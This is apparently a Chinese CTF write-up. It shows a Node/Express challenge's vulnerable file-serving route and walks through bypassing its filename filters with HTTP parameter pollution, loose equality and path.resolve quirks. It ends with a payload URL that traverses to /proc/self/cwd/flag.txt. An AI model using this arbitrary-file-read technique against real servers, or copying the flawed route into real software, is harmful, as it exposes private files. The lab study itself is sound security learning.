题目源代码
const express = require('express');
const path = require('path');
const fs = require('fs');
const app = express();
const PORT = process.env.PORT || 3000;
app.listen(PORT, () => {
console.log(`Listening on port ${PORT}`);
});
app.get('/getFile', (req, res) => {
let { file } = req.query;
if (!file) {
res.send(`file=${file}\nFilename not specified!`);
return;
}
try {
if (file.includes(' ') || file.includes('/')) {
res.send(`file=${file}\nInvalid filename!`);
return;
}
} catch (err) {
res.send('An error occured!');
return;
}
if (!allowedFileType(file)) {
res.send(`File type not allowed`);
return;
}
if (file.length > 5) {
file = file.slice(0, 5);
}
const returnedFile = path.resolve(__dirname + '/' + file);
fs.readFile(returnedFile, (err) => {
if (err) {
if (err.code != 'ENOENT') console.log(err);
res.send('An error occured!');
return;
}
res.sendFile(returnedFile);
});
});
app.get('/*', (req, res) => {
res.sendFile(__dirname + '/index.html');
});
function allowedFileType(file) {
const format = file.slice(file.indexOf('.') + 1);
if (format == 'js' || format == 'ts' || format == 'c' || format == 'cpp') {
return true;
}
return false;
}
解题过程
在首页,点击a.cpp提示要用任意文件读取flag.txt,但是有多层检测,所以就是要我们通过js和express的一些特性来绕过层层WAF
这里需要用到一种攻击方式:参数污染(HPP)
本人看的是这一篇
简单来说就是如果对HTTP请求中的同一个参数赋多个值,可能会因为服务端对这种多值参数情况的不完善处理而产生安全隐患
为了更清晰的了解HPP攻击方式,我们自己本地搭建一个express后端,稍微修改一下getFile路由就行
app.get('/getFile', (req, res) => {
let { file } = req.query;
let one = !file;
let two = (file.includes(' ') || file.includes('/'))
result=
` file : ${file}<br>
第一层WAF !file : ${one}<br>
第二层WAF file.includes : ${two}<br>
第三层WAF allowedFileType : ${allowedFileType(file)}<br>
第四层WAF file.length :${file.length}
`;
res.send(result);
return;
第一层waf只要传入file名字的参数即可,无论是普通字符还是数组
第二层waf,尝试HPP
http://127.0.0.1:3000/getFile?file=a1&file=b2&file=c3
可以发现express将file转换为了Array类型,而name则是用,
连接,length也是数组的长度,而不是原本的字符串长度
试一试其他的
http://127.0.0.1:3000/getFile?file=1&file=../
可以发现,对于Array类型的includes判断,必须是存在某个元素完全与include的参数相同才为true,而不是存在字符就是true
加上returnedFile再看看最终能读到哪
try{
data = fs.readFileSync(returnedFile, 'utf-8');
}
catch(e){
data=e;
}
result=
发现const returnedFile = path.resolve(__dirname + '/' + file);
这行代码加上file数组的拼接可以产生路径穿越的效果
但是现在出现了一个问题,就是数组产生的逗号如何处理
这里需要用到path.resolve方法的一个特性,就是../
会将紧邻左边的路径覆盖,因为它是从右到左进行拼接的
举个例子,
console.log(path.resolve(__dirname + "/"+"1.txt"));
// c:\Users\Kail\Desktop\zhb-php-code\1.txt
现在把文件名替换为一个数组
这里提一下,
let name=[“a”,“b”,“c”];
console.log(name.toString());
//输出a,b,c(toString和直接打印数组还是有区别的)
let name=["a","b","c"];
console.log(path.resolve(__dirname + "/"+name));
//c:\Users\Kail\Desktop\zhb-php-code\a,b,c
把数组中的某个元素改../
let name=["a","../","c"];
console.log(path.resolve(__dirname + "/"+name));
//c:\Users\Kail\Desktop\zhb-php-code\a,..\,c
这里为什么../
并没有覆盖前一个a
路径呢,因为逗号将/a/…/c变成了/a,…/c,所以path认为这是一个名字为a,..
的文件
所以我们需要把数组转换为字符串时自带的逗号无效化
,类似sql注入那样,加一个完整的../
let name=["a","/../","/../c"];
console.log(path.resolve(__dirname + name));
//c:\Users\Kail\Desktop\c
name[1]的/../
为了闭合a后面的逗号,name[2]的/../
则是为了闭合c前面的逗号
这里我不知道无效化和闭合的用词对不对,但我感觉与sql注入的闭合引号或者说注释引号有异曲同工之妙
解决了读文件的问题,现在来看第三层WAF
slice方法会从指定位置开始提取内容直到末尾,
对于String和Array的作用效果是一样的,对String是从第n个位置开始提取(返回String),对Array是从第n个索引的元素开始提取(返回Array)
//String
var file='1lanb03';
console.log(file.slice(1));//输出lanb03
//Array
var file=['1','lanb0','3'];
console.log(file.slice(1)); //输出[ 'lanb0', '3' ]
js与php都有弱类型的特点,导致==会忽略类型的比较
if (format == 'js' || format == 'ts' || format == 'c' || format == 'cpp')
var file=['js'];
console.log(file=='js');//true
console.log(file==='js');//false
现在我们的思路就清晰了,只需要构造出[‘之前的路径’,‘.’,‘js’]即可
那么结尾的.js如何处理?这里的题目会帮我们截断的
if (file.length > 5) {
file = file.slice(0, 5);
}
var file=['1','2','5','4','5','.','js'];
console.log(file.slice(0,5));//输出[ '1', '2', '5', '4', '5' ]
最终Payload
http://192.168.40.131:8021/getFile?file=1&file=2&file=3&file=/../../../../../../../&file=/../proc/self/cwd/flag.txt&file=.&file=js
补充:
/proc/self/cwd 这个目录是一个指向当前进程运行目录的符号链接。也就是说,它可以让你知道当前进程的工作路径是什么。